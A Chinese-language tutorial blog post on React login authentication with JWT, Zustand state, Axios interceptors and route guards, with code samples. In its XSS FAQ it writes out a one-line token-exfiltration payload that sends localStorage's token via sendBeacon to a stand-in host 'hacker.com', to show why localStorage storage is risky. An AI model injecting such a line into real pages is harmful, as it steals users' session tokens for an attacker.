React + JWT 登录鉴权底层原理与工程化实践

React + JWT 登录鉴权底层原理与工程化实践

不搞虚的,从 new XMLHttpRequest()jwt.verify() 源码级全链路解析


序言:一切从 HTTP 的无状态本质说起

1.1 为什么服务器总"不认识"你?

HTTP 协议被设计为 Stateless(无状态)。这意味着,每一次客户端(浏览器/App)向服务端发起请求,都是一次全新的、独立的会话。服务器处理完请求后,不会保留任何关于客户端的上下文信息。

举个例子: 你登录了淘宝,服务器返回了 { success: true }。但当你接着去点击"我的订单"时,服务器会想:"咦?你是谁?你登录过吗?"------它完全不记得了。

解决方案的演变:

  • Cookie + Session 时代 :服务器在内存中存一份 Session(用户信息),把对应的 SessionId 通过 Set-Cookie 塞给浏览器。浏览器下次请求自动带上 Cookie。缺点:占用服务器内存,分布式环境下需要共享 Session 存储(如 Redis)。
  • JWT 时代 :服务器不存状态。把用户信息({id, role}加密签名 成一个字符串(Token)丢给客户端。客户端下次请求把 Token 放请求头里。服务器收到后,用密钥验签,自己算出来你是谁优点:完全无状态,水平扩展无敌。

我们项目采用的就是第二种方案------JWT


第一章:JWT 原理拆箱------不只是"加密"那么简单

对照你的 readme.md"JSON 身份对象 -> JWT(单向操作) -> Token"。这里的"单向操作"到底是什么?我们深入底层。

1.1 JWT 的物理结构(防伪原理)

一个 JWT Token 长这样(眼熟吧): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MjUxMD...zXQ.6tKt4R9d4PpL0...

它由三个 . 分割的部分组成:

组成部分 名称 作用 是否加密
Header 头部 声明签名算法(如 HS256)和 Token 类型 仅 Base64Url 编码(明文)
Payload 载荷 存放用户身份数据(user, role, exp 过期时间) 仅 Base64Url 编码(明文)
Signature 签名 Header.Payload 进行哈希签名,防止篡改 不可逆加密(带密钥)

底层细节(这是关键!) :很多人误以为 JWT 是加密的,别人看不到。大错特错! 你只要把 Token 的前两段丢到 jwt.io 里,立刻就能解码出 {"user":"admin"}。 JWT 的核心不是"隐藏信息",而是 "防篡改"

Signature 的生成公式(HS256 算法):

javascript 复制代码
HMACSHA256(
  base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
  secret // 这就是你代码里的 'secret819!$'
)

服务器验证时,重新用 secret 算一遍签名,如果和客户端传过来的 Signature 不一致,说明 Token 被篡改了,直接拒绝。

1.2 代码中的 Sign 与 Verify 深度解析(对照 mock/user.js)

(1)服务端签发(Sign)

javascript 复制代码
// 你代码中的 jwt.sign
const token = jwt.sign(
  { user: body.username, role: 'admin' }, // Payload
  secret,                                 // 服务器的"私密盐"
  { expiresIn: 86400 }                    // 过期时间单位秒
)

深入解读 expiresIn :这个选项不仅是在 Payload 里加一个 exp 字段(Unix 时间戳),更重要的是,verify 方法会主动对比当前时间与 exp 。如果当前时间 > exp,直接抛出 TokenExpiredError。所以,即使黑客拿到了 Token,24 小时后也自动失效。

(2)服务端校验(Verify)

javascript 复制代码
try {
  let decoded = jwt.verify(token, secret)
  // decoded 此时就是 { user: 'admin', role: 'admin', iat: 163..., exp: 163... }
} catch (err) {
  // err.name 可能是 'JsonWebTokenError' (篡改) 或 'TokenExpiredError' (过期)
  return { code: 401, msg: 'token无效' }
}

jwt.verify 做了三件底层事:

  1. 分割解析 :按 . 分割,Base64Url 解码 Header 和 Payload。
  2. 签名重算 :用 secret 重算 Signature,对比是否一致。
  3. 时间校验 :检查 exp(过期)和 nbf(生效时间)等。

第二章:Zustand 源码级原理------为什么它能跨组件、跨路由?

对照你的 readme.md"全局共享,跨路由。zustand 统一管理状态 store 状态仓库"

你可能用过 useContext,但 Context 一旦变化,所有消费组件都会强制重渲染,性能极差。Zustand 为什么快?因为它基于 "发布-订阅模式" + "不可变数据快照"

2.1 Zustand 的底层运行机制(手写简化版原理)

你的代码中使用了 create(set => ({ ... }))。这个 create 函数底层核心逻辑如下(简化源码):

javascript 复制代码
const create = (createState) => {
  let state; // 闭包变量存储状态
  const listeners = new Set(); // 存储所有组件的更新函数

  // 这就是你用的 set 函数
  const setState = (partial) => {
    const nextState = typeof partial === 'function' ? partial(state) : partial;
    // 浅比较,如果没变化就不更新
    if (!Object.is(state, nextState)) {
      state = { ...state, ...nextState };
      // 通知所有订阅的组件重新渲染
      listeners.forEach(listener => listener(state));
    }
  };

  const getState = () => state;

  // 这就是 useAuthStore 返回的 hook
  const useStore = (selector = (s) => s) => {
    // 使用 useSyncExternalStore 连接 React 的并发渲染
    const snapshot = useSyncExternalStore(
      (onStoreChange) => {
        listeners.add(onStoreChange);
        return () => listeners.delete(onStoreChange); // 组件卸载时清理
      },
      () => selector(getState()) // 只有 selector 结果变了,组件才会 re-render
    );
    return snapshot;
  };

  // 初始化状态
  state = createState(setState, getState);
  return useStore;
};

结论 :Zustand 通过 selector(即 state => state.token)精准控制渲染粒度。只有你选中的 token 变了,Nav 组件才会刷新;如果 todos 变了但 token 没变,Nav 不会动。

2.2 为什么还要配合 localStorage?(持久化)

javascript 复制代码
token: localStorage.getItem('token') || '', // 关键!

Zustand 的状态是存在 JavaScript 内存 中的,刷新页面内存释放,状态归零。 我们将 Token 同步写入 localStorage,让 localStorage 成为持久化缓存层 。页面刷新时,useAuthStore 初始化时先从 localStorage 捞数据,实现了"刷新页面登录状态不丢失"。


第三章:Mockjs 是如何"欺骗"浏览器的?(网络拦截原理)

你用了 vite-plugin-mock。它背后其实是 Connect/Express 中间件,在 Vite Dev Server 层面拦截请求。

3.1 拦截时机

浏览器发起 fetch('/api/login') -> Vite 开发服务器监听到请求 -> 插件匹配 url: '/api/login' 和方法 POST -> 直接返回 response 函数里的 JSON 数据,根本没有打到真正的后端

3.2 为什么能模拟延迟?

你的代码中写了 timeout: 2000,插件会在 setTimeout 2秒后再返回 response,完美模拟了网络 I/O 延迟,让前端 Loading 态有真实的测试环境。


第四章:登录与 Token 颁发的全链路生命周期(代码全解析)

我们走一遍 Login.jsx 点击登录的完整流程,并深挖每一个微小的细节。

4.1 实时表单验证(useEffect 的巧妙运用)

javascript 复制代码
useEffect(() => {
  const newErrors = { username: '', password: '' };
  if (!formData.username.trim()) newErrors.username = '用户名不能为空';
  else if (formData.username.length < 3) newErrors.username = '用户名至少3位';
  // ... 密码校验
  setErrors(newErrors);
  setIsValid(!newErrors.username && !newErrors.password);
}, [formData]); // 依赖 formData,每次输入都重新计算

底层细节 :这里的 disabled={!isValid} 并不是为了绝对安全(前端校验毫无安全可言),而是极致优化用户体验------减少无效请求,避免用户点了登录按钮后,后端返回 400 错误才告诉他"密码太短"。

4.2 登录成功后的状态注入(setAuth 原子化)

javascript 复制代码
const res = await login(formData); // 1. 拿到 { code:0, token, user }
if (res.code === 0) {
  setAuth({ token: res.token, user: res.user }); // 2. 原子化更新
  navigate(from, { replace: true }); // 3. 路由跳转
}

这里有一个容易被忽视的点:setAuthnavigate 的顺序 。先 setAuth 更新 Zustand,再 navigate 跳转。因为 React 18 的自动批处理(Automatic Batching),状态更新和路由跳转会在同一个微任务中完成,所以 Pay 页面加载时,RequireAuth 一定能立刻读到最新的 token

jsx 复制代码
{!token && <Link to="/login">Login</Link>}
{user && <a>{user.username}</a>}
{token && <button onClick={handleLogout}>Logout</button>}

为什么不用一个 if...else 而用三个短路表达式?因为这样元素在 DOM 树中会被直接移除或插入 ,而不是通过 display: none 隐藏。这确保了点击退出登录后,Logout 按钮消失,Login 链接出现,不会有任何残留的事件监听。


第五章:Axios 拦截器------AOP(面向切面编程)的最佳实践

你写的 config.js 是整个鉴权系统的"血管"。我们深挖拦截器的执行机制。

5.1 请求拦截器的"队列"机制

javascript 复制代码
instance.interceptors.request.use(config => {
  const token = localStorage.getItem('token');
  if (token) config.headers['Authorization'] = `Bearer ${token}`;
  return config;
});

你可能不知道的底层 :Axios 的请求拦截器是 链式串行 的。你可以加多个 use,它们会按顺序执行。前一个 return 的值会传给后一个。

为什么这里要用 Bearer 前缀? 这是 HTTP 认证规范(RFC 6750),后端解析时通用做法是:

javascript 复制代码
const token = req.headers.authorization.split(' ')[1];

没有 Bearer 前缀,后端还得猜这是个 Token,有了前缀,一看就知道是 OAuth2 标准的 Bearer Token。

5.2 响应拦截器的"剥壳"操作(解耦)

javascript 复制代码
instance.interceptors.response.use(res => res.data);

这行代码虽然短,但极大提升了代码的可维护性 。 假设后端某一时刻突然把数据结构从 { code, data } 改成了 { status, result }。如果没有拦截器,你所有页面的 res.data.data 都要改。有了拦截器,你只需要改这一行:return res.data.result,业务代码 const res = await getRepo() 完全不用动。

5.3 如果 Token 过期了怎么办?(进阶思考)

虽然你的代码里没写,但一个健壮的响应拦截器应该处理 401:

javascript 复制代码
instance.interceptors.response.use(
  res => res.data,
  error => {
    if (error.response?.status === 401) {
      // 清除本地无效 token
      useAuthStore.getState().logout(); 
      // 跳转到登录页
      window.location.href = '/login'; 
    }
    return Promise.reject(error);
  }
);

注意这里用了 useAuthStore.getState() 而不是 useAuthStore(),因为拦截器不是 React 组件,不能使用 Hook,而 Zustand 暴露的 getState() 方法可以直接读取仓库快照。


第六章:路由守卫(RequireAuth)的底层渲染逻辑

你的 RequireAuth 组件虽然简单,但背后涉及 React Router v6 的核心机制。

jsx 复制代码
if (!token) return <Navigate to="/login" replace />;

Navigate 组件在渲染时,会直接触发路由历史栈的替换。

  • 如果没有 replace,点击浏览器的"返回"按钮会回到受保护的 /pay,然后因为没 token 再次跳转 /login,形成死循环。
  • 有了 replace/pay 这个记录被 /login 替换掉了,用户点"返回"会回到更上一级页面。

6.2 登录成功后如何回到原来的页面?(状态传递)

你的 Login 组件里有 const from = location.state?.from || '/'。 配合路由守卫:

jsx 复制代码
// RequireAuth.jsx 改进版(你的代码没写,但逻辑是隐含的)
<Navigate to="/login" replace state={{ from: location.pathname }} />

通过 state 把来源路径传过去,登录成功后 navigate(from),这才是丝滑的登录闭环


第七章:深度答疑------关于 JWT 和 Zustand 的五个灵魂拷问

Q1:JWT 存在 localStorage 里安全吗?(XSS 攻击)

:不安全!localStorage 可以被任何同源下的 JavaScript 读取。如果你的网站有一个 XSS 漏洞(比如评论区注入了 <script>),黑客可以直接 navigator.sendBeacon('//hacker.com?token='+localStorage.getItem('token')) 盗走 Token。 最佳实践 :将 Token 放在 httpOnly 的 Cookie 中,这样 JavaScript 无法读取,只有浏览器自动发送,防御 XSS。但要注意防御 CSRF(同站攻击)。

Q2:为什么你的 Mock 中用了 jwt 库,但前端却不用?

因为前端永远不应该持有 secretsecret 是用于签名的盐,如果暴露在前端源码里,黑客就能自己伪造 Admin 身份的 Token。这也是为什么 jwt.verify 只发生在 mock/user.js(模拟服务端)中。

Q3:如果我想在 axios 拦截器中获取 Zustand 的最新状态,但用不了 Hook 怎么办?

使用 useAuthStore.getState() (这是 Zustand 提供的非 Hook 访问方法),或者使用 useAuthStore.subscribe 监听变化。拦截器是纯函数,不依赖 React 渲染周期。

Q4:jwt.sign 是同步的还是异步的?

同步的。因为 HMAC-SHA256 是纯粹的 CPU 密集型计算,但现代 Node.js 处理一个几千字节的 Token 签名只需几微秒,完全阻塞不了事件循环,所以官方库直接提供了同步方法。

Q5:如果用户登录了,但我在另一个浏览器标签页修改了 localStorage,Zustand 能感知吗?

不能! storage 事件只在 跨标签页 触发,但 Zustand 不监听该事件。如果你需要多标签页同步(比如一处退出,全部退出),需要在 App.jsx 中添加:

javascript 复制代码
window.addEventListener('storage', (e) => {
  if (e.key === 'token' && !e.newValue) {
    useAuthStore.getState().logout();
  }
});

第八章:工程化目录结构的最佳实践建议

你的 store 目录分了 user.jstodos.js,这是非常好的 Ducks 模式(模块化状态管理)

如果项目变大,建议这样的分层:

bash 复制代码
store/
├── index.js          # 统一导出所有 store
├── slices/
│   ├── authSlice.js  # 用户鉴权
│   ├── todosSlice.js # 待办列表
│   └── uiSlice.js    # 全局 Loading、Theme
└── middleware/
    └── persist.js    # 封装 localStorage 持久化中间件

Zustand 天然支持中间件,你可以封装一个 persist 中间件,自动序列化所有 state 到 localStorage,免去在每个 action 里手动 setItem 的重复劳动。


第九章:全链路时序图(完整版带错误分支)

为了让你把脑子里所有的碎片串起来,这是一张史诗级的时序图:

sequenceDiagram participant User participant LoginPage participant AuthStore participant LS as localStorage participant AxiosReq as Axios Request Interceptor participant MockSrv as Mock Server (JWT) participant Guard as Route Guard participant ProtectedPage %% 登录流程 User->>LoginPage: 1. 输入 admin/123456 LoginPage->>LoginPage: 2. useEffect 表单验证 (长度/非空) LoginPage->>MockSrv: 3. POST /api/login MockSrv->>MockSrv: 4. jwt.sign({user,role}, secret, {exp}) MockSrv-->>LoginPage: 5. { code:0, token, user } LoginPage->>AuthStore: 6. setAuth({token, user}) AuthStore->>LS: 7. setItem('token') & setItem('user') LoginPage->>User: 8. navigate('/') 跳转首页 %% 访问受保护资源 User->>ProtectedPage: 9. 点击进入 /pay ProtectedPage->>Guard: 10. RequireAuth 检查 Guard->>AuthStore: 11. 读取 state.token AuthStore-->>Guard: 12. 返回 token Guard->>ProtectedPage: 13. 允许渲染 children %% 请求受保护接口 ProtectedPage->>AxiosReq: 14. 发起 /api/repo AxiosReq->>LS: 15. getItem('token') LS-->>AxiosReq: 16. 返回 token AxiosReq->>MockSrv: 17. 请求头携带 Authorization: Bearer xxx MockSrv->>MockSrv: 18. jwt.verify(token, secret) alt 验签成功 MockSrv-->>ProtectedPage: 19. { code:0, data: ['repo1'] } else Token过期/篡改 MockSrv-->>ProtectedPage: 19. { code:401, msg:'无效' } ProtectedPage->>AuthStore: 20. logout() 清理状态 ProtectedPage->>User: 21. 重定向 /login end

结语:技术的本质是解决场景问题

我们不是为了写代码而写代码。

  • "HTTP 无状态" ------ 我们用了 JWT
  • "组件通信状态共享" ------ 我们用了 Zustand
  • "请求头带上 Authorization" ------ 我们用了 Axios 拦截器
  • "跨路由鉴权" ------ 我们用了 RequireAuth 路由守卫

每一个技术点,都是为了解决特定的业务痛点。希望这篇"掘金长文"能让你彻底弄懂前端鉴权的底层脉络,而不是只会调 npm install 的"配置工程师"。

如果你觉得这篇文章让你少走了三个月弯路,请猛击点赞和收藏,你的支持是我持续输出硬核内容的动力!

相关推荐
zww89491111 小时前
家政派单系统开发实战:架构设计与派单算法指南
前端·系统架构
fangzhanpeng1682 小时前
(前端)2.js变量作用域样例
开发语言·前端·javascript
赵广陆2 小时前
企业实战:web服务集成
前端·pycharm·fastapi
demo007x2 小时前
Hermes-Agent 技术架构
前端·后端·agent
码艺-Alimjan4 小时前
Vue项目源码备份最佳实践:无视node_modules,打包体积仅2MB
前端·javascript·vue.js
隔窗听雨眠4 小时前
esbuild构建工具简介:重新定义前端构建速度的极速打包器
前端
蔓越莓4 小时前
Webpack 常用 Loader +手写Loader
前端·面试